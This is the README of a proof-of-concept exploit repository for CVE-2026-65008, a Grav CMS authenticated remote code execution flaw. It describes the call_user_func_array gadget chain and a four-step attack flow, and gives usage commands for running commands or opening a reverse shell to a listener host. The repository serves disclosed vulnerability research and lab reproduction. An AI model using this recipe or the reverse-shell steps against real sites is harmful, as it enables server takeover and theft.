Exploit for CVE-2026-65008

## https://sploitus.com/exploit?id=3AE98397-A607-54E0-8D0E-35CF082FA7CE
# CVE-2026-65008 — Grav CMS < 2.0.7 Authenticated RCE

Proof-of-concept for **CVE-2026-65008**: authenticated remote code execution in Grav CMS via unrestricted `call_user_func_array()` in `Blueprint::dynamicData()`.

A user with `admin.pages` (or `api.pages.write`) can plant a malicious form frontmatter. The payload then executes as the web-server user when **any** visitor (including unauthenticated) loads the page.

**Authorized testing only.** Use solely on systems you own or have explicit written permission to test.

## Credits

| Role | |
|------|--|
| **Vulnerability reporters** | YuvalMil, MatiHub25, LeonKaya |
| **Vendor advisory** | [GHSA-fj2p-qj2f-74v5](https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5) |
| **This repository** | Independent lab PoC / automation |

CVE: https://vulners.com/cve/CVE-2026-65008

## Root cause

`Blueprint::dynamicData()` passes an attacker-controlled `Class::method` callable and arguments to PHP `call_user_func_array()` with no allowlist. Combined with `Grav\Common\Utils::arrayFilterRecursive` as a trampoline, this reaches `system()` / `passthru` / etc.

Patched in **Grav 2.0.7+**.

## CVSS

**9.8 CRITICAL** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

## Requirements

- Python 3.10+
- `requests`

Install:

    pip install -r requirements.txt

## Usage

### Command execution

    python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

### Reverse shell

Start listener first:

    nc -lvnp 4444

Then:

    python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

### Arguments

| Flag | Description |
|------|-------------|
| `-u, --url` | Target base URL (**required**) |
| `-U, --username` | Admin / page-edit user (default: `admin`) |
| `-P, --password` | Password (**required**) |
| `-c, --command` | Command to run (default: `id`) |
| `--lhost` | Reverse shell LHOST |
| `--lport` | Reverse shell LPORT (default: `4444`) |
| `--folder` | Page folder name (default: `rcepoc`) |
| `--no-verify` | Disable TLS verification |

## Flow

1. Login to `/admin` (extract `login-nonce`)
2. Obtain `admin_nonce` from admin panel
3. Save a page whose frontmatter contains the `data-opts@:` gadget
4. Trigger with unauthenticated GET → RCE as `www-data`

## Disclaimer

This project is for **educational and authorized security research only**. The author is not responsible for misuse. Always obtain written permission before testing third-party systems. The original vulnerability was disclosed through the vendor advisory; this repository only demonstrates lab reproduction.

## References

- https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
- https://nvd.nist.gov/vuln/detail/CVE-2026-65008
- https://vulners.com/cve/CVE-2026-65008

## License

For research use. No warranty.